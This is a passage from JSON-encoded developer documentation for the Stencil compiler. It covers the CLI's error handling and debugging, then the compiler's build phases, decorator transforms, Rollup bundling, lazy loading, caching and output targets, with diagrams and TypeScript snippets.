logic\n6. **Report**: Results and diagnostics\n7. **Exit**: With appropriate code\n\n### Error Handling\n\n```typescript\ntry {\n  await runTask(config);\n} catch (e) {\n  if (shouldIgnoreError(e)) {\n    return;\n  }\n  \n  config.logger.error(e);\n  process.exit(1);\n}\n```\n\n### Configuration Merging\n\nPriority order (highest to lowest):\n1. CLI flags\n2. Environment variables\n3. Config file\n4. Defaults\n\n## Testing the CLI\n\n### Unit Tests\n\n```bash\nnpm test src/cli\n```\n\n### Integration Tests\n\nTest full CLI commands:\n\n```typescript\ndescribe('cli', () => {\n  it('should build project', async () => {\n    const { exitCode, output } = await runCLI(['build']);\n    expect(exitCode).toBe(0);\n    expect(output).toContain('build finished');\n  });\n});\n```\n\n### Manual Testing\n\n```bash\n# Test locally\nnode bin/stencil build --dev\n\n# Test with npm link\nnpm link\ncd /path/to/test/project\nstencil build\n```\n\n## Debugging\n\n### Debug Mode\n\n```bash\nstencil build --debug\n```\n\nEnables:\n- Verbose logging\n- Source maps\n- Non-minified output\n- Performance timing\n\n### Node Debugging\n\n```bash\nnode --inspect bin/stencil build\n```\n\nConnect Chrome DevTools for debugging.\n\n## Common Issues\n\n### Configuration Not Found\n\n**Problem**: CLI can't find `stencil.config.ts`\n\n**Solution**: \n- Check file exists\n- Verify working directory\n- Use `--config` flag\n\n### TypeScript Errors\n\n**Problem**: Config file has TypeScript errors\n\n**Solution**:\n- Ensure TypeScript is installed\n- Check for syntax errors\n- Verify imports\n\n### Permission Errors\n\n**Problem**: Can't write to output directory\n\n**Solution**:\n- Check file permissions\n- Run as appropriate user\n- Clear output directory\n\n## Future Improvements\n\n1. **Plugin System**: Allow CLI extensions\n2. **Interactive Mode**: Guided setup\n3. **Performance**: Faster startup time\n4. **Diagnostics**: Better error messages\n5. **Customization**: User-defined tasks "
  },
  {
    "path": "docs/compiler.md",
    "content": "# Compiler Architecture\n\nThe Stencil Compiler is the core engine that transforms TypeScript/JSX components into optimized web components. It orchestrates the entire build pipeline from source code to production-ready output.\n\n**Location:** [`src/compiler/`](../src/compiler/)\n\n## Table of Contents\n\n1. [Overview](#overview)\n   - [What is the Compiler?](#what-is-the-compiler)\n   - [Key Features](#key-features)\n   - [Architecture Overview](#architecture-overview)\n\n2. [Build Journey](#build-journey)\n   - [What Happens When You Run `stencil build`?](#what-happens-when-you-run-stencil-build)\n   - [Phase 1: Initialization & Configuration](#phase-1-initialization--configuration)\n   - [Phase 2: Creating the Compiler](#phase-2-creating-the-compiler)\n   - [Phase 3: TypeScript Compilation](#phase-3-typescript-compilation)\n   - [Phase 4: Component Transformation](#phase-4-component-transformation)\n   - [Phase 5: Module Bundling with Rollup](#phase-5-module-bundling-with-rollup)\n   - [Phase 6: Output Target Generation](#phase-6-output-target-generation)\n   - [Phase 7: File Writing & Validation](#phase-7-file-writing--validation)\n\n3. [Core Components](#core-components)\n   - [Compiler Entry](#compiler-entry)\n   - [Compiler Context](#compiler-context)\n   - [Build Context](#build-context)\n\n4. [Deep Dives](#deep-dives)\n   - [Component Discovery & Metadata](#component-discovery--metadata-extraction)\n   - [Transform Pipeline](#transform-pipeline)\n   - [Lazy Loading Implementation](#lazy-loading-implementation)\n   - [Style Processing](#style-processing)\n   - [Bundle Optimization](#bundle-optimization)\n\n5. [Build Features](#build-features)\n   - [Incremental Builds](#incremental-builds)\n   - [Watch Mode](#watch-mode)\n   - [Caching System](#caching-system)\n   - [Worker Architecture](#worker-architecture)\n\n6. [Output Targets](#output-targets)\n   - [Dist Output](#dist-output)\n   - [WWW Output](#www-output)\n   - [Custom Elements Output](#custom-elements-output)\n   - [Creating Custom Output Targets](#creating-custom-output-targets)\n\n7. [Advanced Topics](#advanced-topics)\n   - [Plugin System](#plugin-system)\n   - [Static Analysis](#static-analysis)\n   - [Prerendering](#prerendering)\n   - [Service Worker Generation](#service-worker-generation)\n\n8. [Optimization & Performance](#optimization--performance)\n   - [Tree Shaking](#tree-shaking)\n   - [Code Splitting](#code-splitting)\n   - [Minification](#minification)\n   - [Memory Management](#memory-management)\n\n9. [Debugging & Diagnostics](#debugging--diagnostics)\n   - [Debug Mode](#debug-mode)\n   - [Build Analysis](#build-analysis)\n   - [Common Build Errors](#common-build-errors)\n   - [Performance Profiling](#performance-profiling)\n\n11. [Development Guide](#development-guide)\n    - [Testing Compiler Changes](#testing-compiler-changes)\n    - [Build Scripts](#build-scripts)\n    - [Contributing](#contributing)\n\n12. [Future Improvements](#future-improvements)\n\n---\n\n## Quick Start\n\nThis document covers the internals of the Stencil Compiler. If you're looking for:\n- **Using Stencil**: See the [official documentation](https://stenciljs.com)\n- **CLI Usage**: See [CLI Architecture](./cli.md)\n- **Runtime Behavior**: See [Runtime Architecture](./runtime.md)\n- **Dev Server**: See [Dev Server Architecture](./dev-server.md)\n\n---\n\n## Overview\n\n### What is the Compiler?\n\nThe Stencil Compiler is a sophisticated build tool that:\n- Transforms modern TypeScript/JSX into standard JavaScript\n- Converts decorators into static metadata\n- Generates multiple output formats (ES modules, CommonJS, Custom Elements)\n- Optimizes code for production (tree shaking, minification, code splitting)\n- Handles styles (CSS, Sass, CSS-in-JS)\n- Manages lazy loading and hydration\n- Provides hot module replacement for development\n\n### Key Features\n\n```mermaid\ngraph TD\n    Compiler[Stencil Compiler]\n    \n    Compiler --> Transform[TypeScript/JSX Transform]\n    Compiler --> Bundle[Module Bundling]\n    Compiler --> Optimize[Production Optimization]\n    Compiler --> Output[Multi-Target Output]\n    Compiler --> Dev[Development Features]\n    \n    Transform --> Decorators[Decorator Processing]\n    Transform --> JSX[\"JSX to h() calls\"]\n    Transform --> Types[Type Checking]\n    \n    Bundle --> Rollup[Rollup Integration]\n    Bundle --> Splitting[Code Splitting]\n    Bundle --> Lazy[Lazy Loading]\n    \n    Optimize --> TreeShake[Tree Shaking]\n    Optimize --> Minify[Minification]\n    Optimize --> Compress[Compression]\n    \n    Output --> Dist[NPM Distribution]\n    Output --> WWW[Web Application]\n    Output --> Custom[Custom Elements]\n    \n    Dev --> HMR[Hot Module Replacement]\n    Dev --> Watch[File Watching]\n    Dev --> Cache[Build Caching]\n```\n\n### Architecture Overview\n\nThe compiler is built with a modular architecture:\n\n```mermaid\ngraph TB\n    subgraph \"Input Layer\"\n        Config[Configuration]\n        Source[Source Files]\n        Assets[Assets]\n    end\n    \n    subgraph \"Processing Layer\"\n        Parser[TypeScript Parser]\n        Transformer[AST Transformers]\n        Bundler[Rollup Bundler]\n        Optimizer[Optimizer]\n    end\n    \n    subgraph \"Output Layer\"\n        Generator[Output Generators]\n        Writer[File Writer]\n        Validator[Build Validator]\n    end\n    \n    subgraph \"Support Systems\"\n        Cache[Cache System]\n        Workers[Worker Threads]\n        Diagnostics[Diagnostics]\n    end\n    \n    Config --> Parser\n    Source --> Parser\n    Parser --> Transformer\n    Transformer --> Bundler\n    Bundler --> Optimizer\n    Optimizer --> Generator\n    Generator --> Writer\n    Writer --> Validator\n    \n    Cache -.-> Parser\n    Cache -.-> Transformer\n    Cache -.-> Bundler\n    Workers -.-> Transformer\n    Workers -.-> Bundler\n    Diagnostics -.-> Parser\n    Diagnostics -.-> Transformer\n    Diagnostics -.-> Bundler\n```\n\n---\n\n## Build Journey\n\n### What Happens When You Run `stencil build`?\n\nWhen you run `stencil build` in your terminal, you're kicking off a sophisticated compilation pipeline that transforms your modern component code into optimized, production-ready web components. Let's follow this journey step by step.\n\n### The Complete Build Flow\n\n```mermaid\nsequenceDiagram\n    participant CLI as CLI Process\n    participant Config as Config Validator\n    participant Compiler as Compiler Factory\n    participant TSProgram as TypeScript Program\n    participant Transform as Transformers\n    participant Bundle as Rollup Bundler\n    participant Output as Output Targets\n    participant Disk as File System\n\n    CLI->>Config: Load & validate stencil.config.ts\n    Config->>Compiler: Create compiler instance\n    Compiler->>TSProgram: Initialize TypeScript builder\n    \n    Note over TSProgram: Discovery Phase\n    TSProgram->>Transform: Find all components\n    Transform->>Transform: Extract decorators\n    Transform->>Transform: Parse component metadata\n    \n    Note over Transform: Transformation Phase\n    Transform->>Transform: Convert decorators to static\n    Transform->>Transform: Add lazy loading code\n    Transform->>Transform: Process styles\n    \n    Note over Bundle: Bundling Phase\n    TSProgram->>Bundle: Pass transformed modules\n    Bundle->>Bundle: Create entry points\n    Bundle->>Bundle: Tree shake & optimize\n    \n    Note over Output: Output Generation\n    Bundle->>Output: Generate for each target\n    Output->>Output: dist, www, custom-elements...\n    Output->>Disk: Write all files\n    \n    Disk-->>CLI: Build complete!\n```\n\n### Phase 1: Initialization & Configuration\n\nWhen you run `stencil build`, the first thing that happens is the CLI entry point ([`src/cli/run.ts`](../src/cli/run.ts)) springs into action:\n\n```typescript\n// The journey begins here\nexport const run = async (init: CliInitOptions) => {\n  const { args, logger, sys } = init;\n  const flags = parseFlags(args);\n  \n  // Load and validate your stencil.config.ts\n  const validated = await coreCompiler.loadConfig({\n    config: { flags },\n    configPath: foundConfig.configPath,\n    logger,\n    sys,\n  });\n  \n  // Now we can start the build!\n  await taskBuild(coreCompiler, validated.config);\n};\n```\n\nThe configuration loading process ([`src/compiler/sys/config.ts`](../src/compiler/sys/config.ts)) does several important things:\n- Validates all your output targets\n- Sets up default values for missing options\n- Resolves all file paths relative to your project root\n- Prepares TypeScript compiler options\n\n### Phase 2: Creating the Compiler\n\nNext, a compiler instance is created ([`src/compiler/compiler.ts`](../src/compiler/compiler.ts)):\n\n```typescript\nexport const createCompiler = async (userConfig: Config): Promise<Compiler> => {\n  const config = getConfig(userConfig);\n  const compilerCtx = new CompilerContext();\n  \n  // Set up in-memory file system for fast builds\n  compilerCtx.fs = createInMemoryFs(sys);\n  \n  // Initialize build cache\n  compilerCtx.cache = new Cache(config, createInMemoryFs(sys));\n  \n  // Patch TypeScript for Stencil's needs\n  patchTypeScript(config, compilerCtx.fs);\n  \n  return {\n    build: () => createFullBuild(config, compilerCtx),\n    createWatcher: () => createWatchBuild(config, compilerCtx),\n    destroy: () => compilerCtx.reset()\n  };\n};\n```\n\nThe compiler maintains two important contexts:\n- **CompilerContext**: Persistent state across builds (cache, module map, etc.)\n- **BuildContext**: State for the current build (diagnostics, file changes, etc.)\n\n### Phase 3: TypeScript Compilation\n\nNow the real magic begins. Stencil creates a TypeScript \"BuilderProgram\" that will handle the compilation:\n\n```mermaid\ngraph TD\n    subgraph \"TypeScript Integration\"\n        TSConfig[tsconfig.json] --> TSProgram[TS Program]\n        TSProgram --> TSHost[Watch Host]\n        TSHost --> Stencil[Stencil Callback]\n    end\n    \n    subgraph \"Component Discovery\"\n        SourceFiles[\".tsx/.ts files\"] --> AST[TypeScript AST]\n        AST --> Decorators[\"@Component\"]\n        Decorators --> Metadata[Component Metadata]\n    end\n    \n    subgraph \"Transformation Pipeline\"\n        Metadata --> T1[Decorator Transform]\n        T1 --> T2[Prop Transform]\n        T2 --> T3[Style Transform]  \n        T3 --> T4[JSX Transform]\n        T4 --> Output[\"JavaScript + Metadata\"]\n    end\n```\n\nThe TypeScript compilation happens in [`src/compiler/transpile/run-program.ts`](../src/compiler/transpile/run-program.ts):\n\n```typescript\nexport const runTsProgram = async (\n  config: ValidatedConfig,\n  compilerCtx: CompilerCtx,\n  buildCtx: BuildCtx,\n  tsBuilder: ts.BuilderProgram,\n): Promise<boolean> => {\n  // Custom transformers that convert Stencil decorators\n  const transformers: ts.CustomTransformers = {\n    before: [\n      convertDecoratorsToStatic(config, buildCtx.diagnostics, tsTypeChecker),\n      performAutomaticKeyInsertion,\n    ],\n    after: [\n      convertStaticToMeta(config, compilerCtx, buildCtx, tsTypeChecker)\n    ]\n  };\n  \n  // Emit transformed files\n  tsBuilder.emit(undefined, emitCallback, undefined, false, transformers);\n  \n  // Extract component metadata from transformed modules\n  buildCtx.components = getComponentsFromModules(buildCtx.moduleFiles);\n};\n```\n\n### Phase 4: Component Transformation\n\nThis is where your modern component code gets transformed. Let's say you have a component like this:\n\n```typescript\n@Component({\n  tag: 'my-button',\n  styleUrl: 'my-button.css',\n  shadow: true\n})\nexport class MyButton {\n  @Prop() size: string;\n  @State() clicked = false;\n  \n  @Event() myClick: EventEmitter;\n  \n  @Method()\n  async doSomething() {\n    // ...\n  }\n  \n  render() {\n    return <button onClick={() => this.handleClick()}>Click me!</button>;\n  }\n}\n```\n\nThe transformation pipeline converts this into:\n\n```javascript\nexport class MyButton {\n  constructor() {\n    this.clicked = false;\n  }\n  \n  async doSomething() {\n    // ...\n  }\n  \n  render() {\n    return h(\"button\", { onClick: () => this.handleClick() }, \"Click me!\");\n  }\n  \n  // All decorators become static properties\n  static get is() { return \"my-button\"; }\n  static get encapsulation() { return \"shadow\"; }\n  static get properties() {\n    return {\n      \"size\": { \"type\": \"string\", \"attribute\": \"size\" },\n      \"clicked\": { \"type\": \"boolean\", \"mutable\": true }\n    };\n  }\n  static get events() {\n    return [{ \"name\": \"myClick\", \"bubbles\": true }];\n  }\n  static get methods() {\n    return { \"doSomething\": {} };\n  }\n  static get style() { return MY_BUTTON_CSS; }\n}\n```\n\n### Phase 5: Module Bundling with Rollup\n\nAfter TypeScript compilation, Stencil uses Rollup to bundle the modules ([`src/compiler/bundle/`](../src/compiler/bundle/)):\n\n```mermaid\ngraph LR\n    subgraph \"Entry Points\"\n        Components[Component Modules]\n        Dependencies[Dependencies]\n        Styles[Styles]\n    end\n    \n    subgraph \"Rollup Processing\"\n        Components --> Bundle[Rollup Bundle]\n        Dependencies --> Bundle\n        Styles --> StylePlugin[Style Plugin]\n        StylePlugin --> Bundle\n    end\n    \n    subgraph \"Optimizations\"\n        Bundle --> TreeShake[Tree Shaking]\n        TreeShake --> Minify[Terser Minify]\n        Minify --> Chunks[Code Splitting]\n    end\n    \n    subgraph \"Output Formats\"\n        Chunks --> ESM[ES Modules]\n        Chunks --> CJS[CommonJS]\n        Chunks --> SystemJS[SystemJS]\n    end\n```\n\nThe bundling configuration is built dynamically based on your output targets:\n\n```typescript\nconst rollupConfig = {\n  input: entryPoints,\n  plugins: [\n    stencilCorePlugin(config, compilerCtx, buildCtx),\n    nodeResolve({ browser: true }),\n    commonjs(),\n    json()\n  ],\n  treeshake: config.minifyJs,\n  output: {\n    format: 'es',\n    sourcemap: config.sourceMap,\n    chunkFileNames: config.hashFileNames ? 'p-[hash].js' : '[name]-[hash].js'\n  }\n};\n```\n\n### Phase 6: Output Target Generation\n\nThis is where Stencil's flexibility shines. Based on your configuration, it generates different outputs:\n\n```mermaid\ngraph TD\n    subgraph \"Build Artifacts\"\n        Bundles[Bundled Modules]\n        Metadata[Component Metadata]\n        Types[TypeScript Definitions]\n    end\n    \n    Bundles --> DistOutput[dist Output]\n    Bundles --> WwwOutput[www Output]\n    Bundles --> CustomElements[Custom Elements]\n    \n    DistOutput --> DistFiles[\"/dist/<br/>- esm/<br/>- cjs/<br/>- loader/<br/>- types/\"]\n    \n    WwwOutput --> WwwFiles[\"/www/<br/>- build/<br/>- index.html<br/>- host.config.json\"]\n    \n    CustomElements --> CEFiles[\"/dist/components/<br/>- individual files<br/>- tree-shakeable\"]\n```\n\nEach output target has its own generator:\n\n**WWW Output** ([`src/compiler/output-targets/output-www.ts`](../src/compiler/output-targets/output-www.ts)):\n- Generates an `index.html` that loads your app\n- Copies and optimizes assets\n- Embeds critical CSS inline\n- Adds preload hints\n\n**Dist Output** ([`src/compiler/output-targets/dist-lazy/`](../src/compiler/output-targets/dist-lazy/)):\n- Creates npm-publishable packages\n- Generates multiple module formats (ESM, CJS)\n- Includes a loader for lazy loading\n- Creates TypeScript definitions\n\n**Custom Elements** ([`src/compiler/output-targets/dist-custom-elements/`](../src/compiler/output-targets/dist-custom-elements/)):\n- Each component as a standalone custom element\n- No lazy loading - direct imports\n- Tree-shakeable by modern bundlers\n\n### Phase 7: File Writing & Validation\n\nFinally, everything gets written to disk ([`src/compiler/build/write-build.ts`](../src/compiler/build/write-build.ts)):\n\n```typescript\nexport const writeBuild = async (\n  config: ValidatedConfig,\n  compilerCtx: CompilerCtx,\n  buildCtx: BuildCtx,\n): Promise<void> => {\n  // Commit all file operations from in-memory FS to disk\n  const commitResults = await compilerCtx.fs.commit();\n  \n  // Update build context with results\n  buildCtx.filesWritten = commitResults.filesWritten;\n  buildCtx.filesDeleted = commitResults.filesDeleted;\n  \n  // Cache successful build artifacts\n  await compilerCtx.cache.commit();\n  \n  // Generate service workers if configured\n  await outputServiceWorkers(config, buildCtx);\n  \n  // Validate all expected files were created\n  await validateBuildFiles(config, compilerCtx, buildCtx);\n};\n```\n\n---\n\n## Core Components\n\n### Compiler Entry (`/src/compiler/compiler.ts`)\n\nThe main compiler factory that creates compiler instances:\n\n```typescript\nexport const createCompiler = async (userConfig: Config): Promise<Compiler> => {\n  const config = getConfig(userConfig);\n  const compilerCtx = new CompilerContext();\n  \n  // Initialize subsystems\n  compilerCtx.fs = createInMemoryFs(sys);\n  compilerCtx.cache = new Cache(config, createInMemoryFs(sys));\n  compilerCtx.worker = createSysWorker(config);\n  \n  // Patch TypeScript for Stencil\n  patchTypeScript(config, compilerCtx.fs);\n  \n  return {\n    build: () => createFullBuild(config, compilerCtx),\n    createWatcher: () => createWatchBuild(config, compilerCtx),\n    destroy: () => compilerCtx.reset()\n  };\n};\n```\n\n### Compiler Context (`/src/compiler/build/compiler-ctx.ts`)\n\nPersistent state across builds:\n\n```typescript\nclass CompilerContext {\n  // Build state\n  activeBuildId: number;\n  activeFilesUpdated: string[];\n  hasSuccessfulBuild: boolean;\n  \n  // Caching\n  cache: Cache;\n  moduleMap: ModuleMap;\n  changedFiles: Set<string>();\n  rollupCache: Map<string, RollupCache>();\n  stylesheetCache: Map<string, StylesheetResult>();\n  \n  // File system\n  fs: InMemoryFileSystem;\n  \n  // Component registry\n  collections: CollectionCompilerMeta[] = [];\n  \n  // Worker management\n  worker: CompilerWorkerContext;\n  \n  reset() {\n    this.moduleMap.clear();\n    this.changedFiles.clear();\n    this.stylesheetCache.clear();\n    // Keep rollupCache for performance\n  }\n}\n```\n\n### Build Context (`/src/compiler/build/build-ctx.ts`)\n\nPer-build state and results:\n\n```typescript\nclass BuildContext {\n  // Build identity\n  buildId = generateBuildId();\n  timestamp = Date.now();\n  \n  // Build metadata\n  startTime: number;\n  isRebuild: boolean;\n  \n  // Component data\n  components: ComponentCompilerMeta[] = [];\n  entryModules: EntryModule[] = [];\n  moduleFiles: Module[] = [];\n  \n  // Build stats\n  filesWritten = 0;\n  buildDuration = 0;\n  bundleSize = 0;\n  \n  // Build results\n  diagnostics: Diagnostic[] = [];\n  buildResults: CompilerBuildResults;\n  \n  // File changes\n  filesAdded: string[] = [];\n  filesChanged: string[] = [];\n  filesDeleted: string[] = [];\n  \n  createTimeSpan(msg: string) {\n    const start = performance.now();\n    return {\n      finish: (finishMsg: string) => {\n        const duration = performance.now() - start;\n        this.debug(`${finishMsg} in ${duration}ms`);\n      }\n    };\n  }\n}\n```\n\n---\n\n## Deep Dives\n\n### Component Discovery & Metadata Extraction\n\nWhen Stencil processes your source files, it needs to identify which classes are components and extract all their metadata. This happens through a sophisticated AST (Abstract Syntax Tree) analysis.\n\n```mermaid\ngraph TD\n    subgraph \"Component Discovery Process\"\n        SourceFile[Source File] --> Parser[TS Parser]\n        Parser --> AST[AST]\n        AST --> Visitor[AST Visitor]\n        \n        Visitor --> ClassDecl{Class Declaration?}\n        ClassDecl -->|Yes| HasDecorator{\"Has @Component?\"}\n        ClassDecl -->|No| NextNode[Next Node]\n        \n        HasDecorator -->|Yes| ExtractMeta[Extract Metadata]\n        HasDecorator -->|No| NextNode\n        \n        ExtractMeta --> Props[\"Extract @Prop\"]\n        ExtractMeta --> States[\"Extract @State\"]\n        ExtractMeta --> Methods[\"Extract @Method\"]\n        ExtractMeta --> Events[\"Extract @Event\"]\n        ExtractMeta --> Listeners[\"Extract @Listen\"]\n        \n        Props --> BuildMeta[Build Component Metadata]\n        States --> BuildMeta\n        Methods --> BuildMeta\n        Events --> BuildMeta\n        Listeners --> BuildMeta\n    end\n```\n\nHere's what happens when Stencil encounters a component:\n\n**Location:** [`src/compiler/transformers/decorators-to-static/convert-decorators.ts`](../src/compiler/transformers/decorators-to-static/convert-decorators.ts)\n\n```typescript\n// Your component with decorators\n@Component({\n  tag: 'my-component',\n  styleUrl: 'my-component.css',\n  shadow: true\n})\nexport class MyComponent {\n  @Prop() name: string;\n  @State() isActive = false;\n  \n  @Watch('name')\n  onNameChange(newValue: string, oldValue: string) {\n    console.log(`Name changed from ${oldValue} to ${newValue}`);\n  }\n}\n```\n\nGets transformed into static metadata:\n\n```typescript\nexport class MyComponent {\n  constructor() {\n    this.isActive = false;\n  }\n  \n  static get is() { return \"my-component\"; }\n  static get encapsulation() { return \"shadow\"; }\n  static get originalStyleUrls() {\n    return [\"my-component.css\"];\n  }\n  static get styleUrls() {\n    return [\"my-component.css\"];\n  }\n  static get properties() {\n    return {\n      \"name\": {\n        \"type\": \"string\",\n        \"member\": \"name\",\n        \"reflectToAttr\": false,\n        \"mutable\": false,\n        \"required\": false,\n        \"optional\": false,\n        \"attribute\": \"name\"\n      }\n    };\n  }\n  static get states() {\n    return {\n      \"isActive\": {}\n    };\n  }\n  static get watchers() {\n    return [{\n      \"propName\": \"name\",\n      \"methodName\": \"onNameChange\"\n    }];\n  }\n}\n```\n\n### Transform Pipeline\n\nThe transformation pipeline converts your TypeScript/JSX into a standard JavaScript output. This happens in [`src/compiler/transpile/run-program.ts`](../src/compiler/transpile/run-program.ts).\n\n```mermaid\ngraph LR\n    TS[TypeScript AST] --> T1[Component Transform]\n    T1 --> T2[Prop Transform]\n    T2 --> T3[Style Transform]\n    T3 --> T4[JSX Transform]\n    T4 --> JS[JavaScript Output]\n```\n\n#### Key Transformers\n\n**Component Transformer** (`component-transpile.ts`):\n- Converts decorators to static properties\n- Generates lazy-loading code\n- Adds runtime metadata\n\n**Native Constructor Transform** (`native-constructor.ts`):\n- Converts ES6 classes for ES5 compatibility\n- Preserves custom element semantics\n\n**Style Transform** (`style-imports.ts`):\n- Extracts and processes styles\n- Handles CSS modules\n- Generates scoped selectors\n\n### Lazy Loading Implementation\n\nOne of Stencil's most powerful features is lazy loading. Here's how it's implemented:\n\n```mermaid\nsequenceDiagram\n    participant Browser\n    participant Loader\n    participant Registry\n    participant Network\n    participant Component\n\n    Browser->>Loader: <my-component> detected\n    Loader->>Registry: Check if component loaded\n    Registry-->>Loader: Not loaded\n    \n    Loader->>Loader: Create proxy element\n    Note over Loader: Proxy handles all interactions<br/>until real component loads\n    \n    Loader->>Network: \"import('./my-component-hash.js')\"\n    Network-->>Loader: Component module\n    \n    Loader->>Component: Initialize component class\n    Component->>Component: Upgrade proxy to real element\n    Component->>Browser: Component ready!\n```\n\nThe lazy loading system ([`src/compiler/transformers/component-lazy/lazy-component.ts`](../src/compiler/transformers/component-lazy/lazy-component.ts)) works by:\n\n1. **Generating a Proxy Component**: A lightweight proxy is created for each component\n2. **Registering with the Loader**: The proxy is registered with Stencil's runtime loader\n3. **Dynamic Import on Demand**: When the component is used, it's dynamically imported\n4. **Upgrading the Element**: The proxy is upgraded to the real component\n\n### Style Processing\n\nStencil handles styles in a sophisticated way to support both Shadow DOM and scoped CSS:\n\n```mermaid\ngraph LR\n    subgraph \"Style Sources\"\n        CSS[.css files]\n        SCSS[.scss files]\n        StyleUrl[styleUrl]\n        StyleString[styles string]\n    end\n    \n    subgraph \"Processing\"\n        CSS --> Parser[CSS Parser]\n        SCSS --> SassCompiler[Sass Compiler]\n        SassCompiler --> Parser\n        StyleUrl --> Parser\n        StyleString --> Parser\n        \n        Parser --> ScopeCSS{Scoped CSS?}\n        ScopeCSS -->|Yes| AddScope[Add Scope IDs]\n        ScopeCSS -->|No| ShadowCSS[Shadow CSS]\n        \n        AddScope --> Optimize[Optimize]\n        ShadowCSS --> Optimize\n    end\n    \n    subgraph \"Output\"\n        Optimize --> ComponentStyle[Component Styles]\n        Optimize --> GlobalStyle[Global Styles]\n        ComponentStyle --> Bundle[Style Bundle]\n        GlobalStyle --> Bundle\n    end\n```\n\nFor scoped CSS (non-Shadow DOM), Stencil adds unique scope IDs:\n\n```css\n/* Original */\n.button {\n  background: blue;\n}\n\n/* Scoped */\n.button.sc-my-component-h {\n  background: blue;\n}\n```\n\n### Bundle Optimization\n\nStencil employs several strategies to create optimal bundles:\n\n```mermaid\ngraph TD\n    subgraph \"Optimization Techniques\"\n        Components[All Components]\n        \n        Components --> Analysis[Dependency Analysis]\n        Analysis --> Graph[Component Graph]\n        \n        Graph --> Grouping{Grouping Strategy}\n        Grouping -->|By Feature| FeatureChunks[Feature Chunks]\n        Grouping -->|By Size| SizeChunks[Size-Based Chunks]\n        Grouping -->|By Route| RouteChunks[Route Chunks]\n        \n        FeatureChunks --> TreeShake[Tree Shaking]\n        SizeChunks --> TreeShake\n        RouteChunks --> TreeShake\n        \n        TreeShake --> Minify[Minification]\n        Minify --> Output[Final Bundles]\n    end\n```\n\nThe bundling logic ([`src/compiler/bundle/bundle-output.ts`](../src/compiler/bundle/bundle-output.ts)) considers:\n\n1. **Component Dependencies**: Components that import each other are bundled together\n2. **Chunk Size**: Keeps chunks between 10KB-50KB for optimal loading\n3. **Common Dependencies**: Shared utilities are extracted to common chunks\n4. **Entry Points**: Each major feature can have its own entry point\n\n---\n\n## Build Features\n\n### Incremental Builds\n\nTo speed up rebuilds, Stencil implements a multi-level caching system:\n\n```mermaid\ngraph TD\n    subgraph \"Cache Levels\"\n        FileCache[File Cache]\n        ModuleCache[Module Cache]\n        StyleCache[Style Cache]\n        BundleCache[Bundle Cache]\n    end\n    \n    subgraph \"Cache Keys\"\n        FileContent[File Content Hash]\n        Dependencies[Dependency Graph]\n        CompilerOpts[Compiler Options]\n        \n        FileContent --> CacheKey[Cache Key]\n        Dependencies --> CacheKey\n        CompilerOpts --> CacheKey\n    end\n    \n    subgraph \"Cache Usage\"\n        Build[Build Process] -->|Check| CacheKey\n        CacheKey -->|Hit| UseCached[Use Cached Result]\n        CacheKey -->|Miss| Rebuild[Rebuild Module]\n        Rebuild -->|Store| UpdateCache[Update Cache]\n    end\n```\n\n### Watch Mode\n\n```typescript\nconst createWatchBuild = (\n  config: Config,\n  compilerCtx: CompilerCtx\n) => {\n  const watchRunner = new WatchRunner(config, compilerCtx);\n  \n  // Watch source files\n  compilerCtx.fs.watch(config.srcDir, {\n    recursive: true,\n    callback: (event, filename) => {\n      if (shouldRebuild(filename)) {\n        watchRunner.queue(filename);\n      }\n    }\n  });\n  \n  // Debounced rebuild\n  let rebuildTimer: NodeJS.Timeout;\n  watchRunner.on('queue', () => {\n    clearTimeout(rebuildTimer);\n    rebuildTimer = setTimeout(() => {\n      watchRunner.start();\n    }, config.watchTimeout || 200);\n  });\n  \n  return watchRunner;\n};\n```\n\n### Caching System\n\nTo speed up rebuilds, Stencil implements a multi-level caching system:\n\n```mermaid\ngraph TD\n    subgraph \"Cache Levels\"\n        FileCache[File Cache]\n        ModuleCache[Module Cache]\n        StyleCache[Style Cache]\n        BundleCache[Bundle Cache]\n    end\n    \n    subgraph \"Cache Keys\"\n        FileContent[File Content Hash]\n        Dependencies[Dependency Graph]\n        CompilerOpts[Compiler Options]\n        \n        FileContent --> CacheKey[Cache Key]\n        Dependencies --> CacheKey\n        CompilerOpts --> CacheKey\n    end\n    \n    subgraph \"Cache Usage\"\n        Build[Build Process] -->|Check| CacheKey\n        CacheKey -->|Hit| UseCached[Use Cached Result]\n        CacheKey -->|Miss| Rebuild[Rebuild Module]\n        Rebuild -->|Store| UpdateCache[Update Cache]\n    end\n```\n\n### Worker Architecture\n\n```typescript\nclass NodeWorkerController {\n  workers: NodeWorkerMain[];\n  taskQueue: CompilerWorkerTask[];\n  \n  async run(task: WorkerTask) {\n    const worker = this.getAvailableWorker();\n    return worker.run(task);\n  }\n}\n```\n\nTasks distributed to workers:\n- TypeScript compilation\n- Style processing\n- Bundle generation\n- Optimization passes\n\n---\n\n## Output Targets\n\n### Dist Output\n\nFor npm packages:\n\n```typescript\nconst outputDist = async (\n  config: Config,\n  compilerCtx: CompilerCtx,\n  buildCtx: BuildCtx,\n  outputTarget: OutputTargetDist\n) => {\n  // Generate entry point\n  await generateDistEntry(config, buildCtx, outputTarget);\n  \n  // Generate loader\n  await generateDistLoader(config, compilerCtx, outputTarget);\n  \n  // Copy collection files\n  await generateDistCollection(config, compilerCtx, buildCtx, outputTarget);\n  \n  // Generate types\n  if (outputTarget.typesDir) {\n    await generateTypes(config, compilerCtx, buildCtx, outputTarget);\n  }\n};\n```\n\n### WWW Output\n\nGenerates web app:\n\n```\nwww/\n├── build/           # Component builds\n├── index.html       # App entry\n└── host.config.json # Dev server config\n```\n\n### Custom Elements Output\n\nGenerates standard custom elements:\n\n```typescript\n// No lazy loading, direct registration\nimport { MyComponent } from './my-component.js';\ncustomElements.define('my-component', MyComponent);\n```\n\n### Creating Custom Output Targets\n\nYou can create custom output targets by implementing the `OutputTarget` interface and registering them in your `stencil.config.ts`.\n\n```typescript\ninterface OutputTarget {\n  type: 'dist' | 'www' | 'custom' | 'docs' | 'stats';\n  dir?: string;\n  buildDir?: string;\n}\n\n// Generate outputs for each target\nconst generateOutputTargets = async (\n  config: Config,\n  compilerCtx: CompilerCtx,\n  buildCtx: BuildCtx\n) => {\n  const outputTargets = config.outputTargets;\n  \n  await Promise.all(\n    outputTargets.map(outputTarget => {\n      switch (outputTarget.type) {\n        case 'dist':\n          return outputDist(config, compilerCtx, buildCtx, outputTarget);\n        case 'www':\n          return outputWww(config, compilerCtx, buildCtx, outputTarget);\n        case 'custom':\n          return outputTarget.generator(config, compilerCtx, buildCtx);\n      }\n    })\n  );\n};\n```\n\n---\n\n## Advanced Topics\n\n### Plugin System\n\nCustom Stencil plugin for 